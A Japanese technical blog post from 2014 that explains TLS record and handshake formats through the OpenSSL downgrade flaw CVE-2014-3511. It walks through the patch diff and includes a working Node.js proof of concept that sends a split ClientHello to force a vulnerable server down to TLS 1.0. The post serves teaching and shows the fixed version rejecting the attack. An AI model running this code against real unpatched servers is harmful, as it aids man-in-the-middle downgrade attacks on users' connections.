Hatena::ブログ(Diary)

ぼちぼち日記

2014-08-08

OpenSSLの脆弱性(CVE-2014-3511)でTLSプロトコルの基礎を学ぶ

1. はじめに、

昨日 OpenSSLのバージョンアップがアナウンスされ、9つの脆弱性が公開されました。バージョンアップの数日前にOpenSSLの次期リリース予告がアナウンスされていましたが、ちょうど BlackHat 開催初日にあたることもあり、なんかまた重大な脆弱性の修正が入るんじゃないかとドキドキしていました。蓋を開けてみるとHeatBleed程の大事ではなくホットひと安心です。
昨日公開されたOpenSSLの9つの脆弱性のうち、TLS プロトコルダウングレード攻撃 (CVE-2014-3511)の修正を見ていたところ、これはTLSプロトコルを学ぶいい題材になるなぁとふと思いつき、試しにこのOpensslの脆弱性の詳細をTLSプロトコルの基礎に合わせて書いてみました。
ちょっと長いですが、TLSプロトコルの仕組み(の一部)を知りたい方はお読みください。

2. OpenSSLの脆弱性 CVE-2014-3511とは、

この脆弱性(CVE-2014-3511)はどんなものでしょうか?
本家 OpenSSLのアナウンスから該当部分を翻訳すると、

OpenSSL TLS プロトコルダウングレード攻撃 (CVE-2014-3511)
=====================================================
OpenSSLのSSL/TLSサーバコードの不具合によって、ClientHelloメッセージが不正に分割されるとTLS1.0より高いバージョンが使えるのにTLS1.0でネゴシエーションしてしまいます。
これによってMan In the Middle の攻撃者がクライアントのTLSレコードを変更するとサーバとクライアントの両者がTLS1.0以上が利用できるにも関わらず強制的にTLS1.0にダウングレードさせることができます。
OpenSSL 1.0.1 SSL/TLSサーバ利用者は 1.0.1i へアップグレードすべきです。

と記載されています。ざっと絵で描くと下図な感じでしょう。
f:id:jovi0608:20140808154449p:image:w640
一般的にダウングレード攻撃が可能になると、悪意のある第三者によって意図せず脆弱性を持つプロトコルバージョンへ強制的に接続されることになり、それをとっかかりにして様々な攻撃を通信上で受けることになります。 TLSv1.0に関しては、CBCモードの利用に脆弱性が存在するため気を付けることが必要です。

3. TLSプロトコルの基礎

この脆弱性をちゃんと理解するには、TLSプロトコルデータのフォーマットや初期ハンドシェイクの仕組みを理解することが必要です。

3.1 TLSプロトコルデータフォーマット

TLSプロトコルデータフォーマットの概要を下図に示します。
f:id:jovi0608:20140808154447p:image:w640
TLSのデータは必ず先頭に TLS Record Layer という5バイトのヘッダが付与されます。その後に4種類のメッセージが続きます。今回の主役は、Handshakeメッセージです。Handshakeメッセージは、暗号や証明書などのTLS通信に必要な情報をサーバ・クライアント間で共有するために用います。Handshakeは10種類規定され、今回問題となる ClientHello は 0x01 番で登録されています。
Record Layer は最大14bit長(16kバイト)のメッセージデータを扱えます。しかも複数のハンドシェイクメッセージを1つのRecordにまとめたり、1つのハンドシェイクメッセージを複数のRecordに分割することができます。今回の脆弱性は、分割を行うことによって発生するものでした。

3.2 TLS初期ハンドシェイク

一番最初にサーバクライアント間でTLS接続を開始する際に、下図の通り複数の Handshake のメッセージをサーバ・クライアント間で交換し合います。
f:id:jovi0608:20140808154446p:image:w640
それぞれの Handshake メッセージには役割がありますが、一番最初の ClientHello と ServerHello のやり取りでは双方が利用するTLSのバージョンや暗号アルゴリズムなどを決定します。今回のダウングレード攻撃は、最初のClientHelloを操作する手法です。

3.3 ClientHelloのデータフォーマット

今回の注目データ、ClientHelloのデータフォーマットを見てみます。
f:id:jovi0608:20140808154444p:image:w640
1バイトのClientHelloのメッセージタイプ(0x01)と3バイト分のClientHelloのメッセージ長さフィールドの次にクライアントのプロトコルバージョンを表す2バイトのフィールド(メジャーとマイナー)が現れます。ここにクライアントが利用できるTLSの最高バージョンが指定されます。
サーバがClientHello見てどのバージョンを使うか選択し、ServerHelloを使ってクライアントに返します。通常はクライアントが対応しているTLSバージョンの中でサーバが最も優先度が高いプロトコルバージョンを選択します。

OpenSSLで SSLv23互換メソッドでサーバを利用する場合、先頭の11バイトを見てClientHelloの処理を行います。今回この部分に問題がありました。

なお、TLSのプロトコルバージョンは、SSL時代から続いているもので TLS1.0 は SSL3.1換算となります。過去、標準化の過程において諸所の事情からSSLからTLSへの名称変更が行われましたが、プロトコル中ではまだSSLが続いていることになります。

以上でTLSプロトコルの基礎編は終わりです。

4. CVE-2014-3511脆弱性の中身

ClientHelloがどういうもので、どういう役割を持つのか理解したところで、今回の脆弱性を見てみます。
修正個所の diff は以下のようになっています。Fix protocol downgrade bug in case of fragmented packets

                         * Client Hello message, this would be difficult, and we'd have
                         * to read more records to find out.
                         * No known SSL 3.0 client fragments ClientHello like this,
-                    * so we simply assume TLS 1.0 to avoid protocol version downgrade
-                    * attacks. */
+                  * so we simply reject such connections to avoid
+                  * protocol version downgrade attacks. */
                        if (p[3] == 0 && p[4] < 6)
                                {
-#if 0
                                SSLerr(SSL_F_SSL23_GET_CLIENT_HELLO,SSL_R_RECORD_TOO_SMALL);
                                goto err;
-#else
-                           v[1] = TLS1_VERSION_MINOR;
-#endif
                                }

p[3],p[4]は、TLS Record Layer の長さフィールドです、修正前では ClientHello の TLS Record Layer の長さが6バイトより小さければ、TLSのマイナーバージョンを1(=TLS1.0)にするということです。(これ以前にメジャーバージョンが3であることのチェックは済んでいます)

ということは、クライアントが最高でTLS.1.2が利用可能で ClientHello を送ろうと、ClientHello が6バイトより小さく分割されていれば問答無用で強制的にTLS1.0 になってしまいます。TLSレコードの分割は、経路の途中で容易に行えますので Man-in-the-Middle によるダウングレード攻撃は可能です。

でもどうしてこうなったのでしょうか? この箇所処理が入った過去のコミットを追っかけてみます。ChangeLogにはこう記載されています。
Assume TLS 1.0 when ClientHello fragment is too short

Instead of aborting with an error,simply choose the highest available protocol version (i.e.,TLS 1.0 unless it is disabled).
エラーで終了する代わりに、利用できる一番高いプロトコルバージョンを単に選ぶようにする。(特に TLS1.0が無効されてなければ)

あぁ、もともと6バイトより小さいClientHelloはエラーにしていたのですが、2001年当時最もバージョンの高いTLS1.0を決め打ちで定義してしまったようです。TLS1.1や1.2ができることを想定してなかったのでしょう。
f:id:jovi0608:20140808154442p:image:w640
SSLv3へのダウングレード対策で修正したことが、今度は13年後にダウングレード脆弱性を引き起こすことになるとは… なんとも皮肉なことです。

5. CVE-2014-3511の脆弱性を試す

脆弱性の詳細が分かったところで、実際に試してみます。ClientHelloを5バイト以下に分割して送ればいいだけです。まずはテスト用の最小ClientHelloを作ってみましょう。
f:id:jovi0608:20140808154441p:image:w640
わずか47バイトで出来ます。このHex文字列をそれぞれ 下記のNodeのコードを使って OpenSSL(1.0.1h)のサーバに送ってみます。

var net = require('net');
// TLSレコード分割のフラグ
var frag = process.argv[2] === 'frag' ? true : false;

// Hex文字列をBufferに変換する関数
function HexStrToBuf(str) {
  var buf = new Buffer(str.length/2);
  for(var i = 0; i < str.length; i += 2) {
    buf.writeUInt8(parseInt(str.substr(i,2), 16), i/2);
  }
  return buf;
}

var client_hello = "160301002f0100002b03030000000000000000000000000000000000000000000000000000000000000000000004009c00350100";
var client_hello_frag1 = "16030100050100002b03";
var client_hello_frag2 = "160301002a030000000000000000000000000000000000000000000000000000000000000000000004009c00350100";

var handshake = HexStrToBuf(client_hello);
var handshake_frag1 = HexStrToBuf(client_hello_frag1);
var handshake_frag2 = HexStrToBuf(client_hello_frag2);

var s = net.connect({port: 443}, function() {
  if (frag) {
    s.write(handshake_frag1);
    s.write(handshake_frag2);
  } else {
    s.write(handshake);
  }
});
s.on('data', function(b) {
  console.log(b);
});

まずは分割せずにHandshakeを見てみます。受信パーサを書いてもいいのですが、客観性を保つためWiresharkの結果を載せます。
f:id:jovi0608:20140808154437p:image:w640
ClientHelloはちゃんと意図したフィールドで送信できています。OpenSSLのサーバからは、無事 ServerHelloが返ってきました。
f:id:jovi0608:20140808154429p:image:w640
フィールドを確認するとバージョンは TLS1.2、暗号アルゴリズムも GCM が選択されています。よしよし。

次にいよいよClientHelloを分割して送ります。Wiresharkでは分割を正しくデコードできないので ServerHello だけを載せます。
結果
f:id:jovi0608:20140808154433p:image:w640
おっと、脆弱性発生! ServerHello からサーバは TLS1.0 を選択し、暗号アルゴリズムの CBCの方になっています。ダウングレード攻撃の成功です。

今度は、脆弱性を修正した OpenSSL 1.0.1i のサーバで試します。以下の通り接続が切断され、エラーメッセージがサーバ側に無事出力されました。パチパチ。

$ ./apps/openssl version
OpenSSL 1.0.1i 6 Aug 2014
$ sudo ./apps/openssl s_server -cert ~/tmp/cert/bundle.crt -key ~/tmp/cert/server.key -port 443Using default temp DH parameters
Using default temp ECDH parameters
ACCEPT
ERROR
140379538994848:error:1407612A:SSL routines:SSL23_GET_CLIENT_HELLO:record too small:s23_srvr.c:355:
shutting down SSL
CONNECTION CLOSED
ACCEPT

セキュリティに関連する技術は厳密に定義されるので一般的に理解が難しいことが多いですが、こういう脆弱性の題材を見つけて少しでも理解が進むと楽しくなるんじゃないかと思います。

スパム対策のためのダミーです。もし見えても何も入力しないでください
ゲスト


画像認証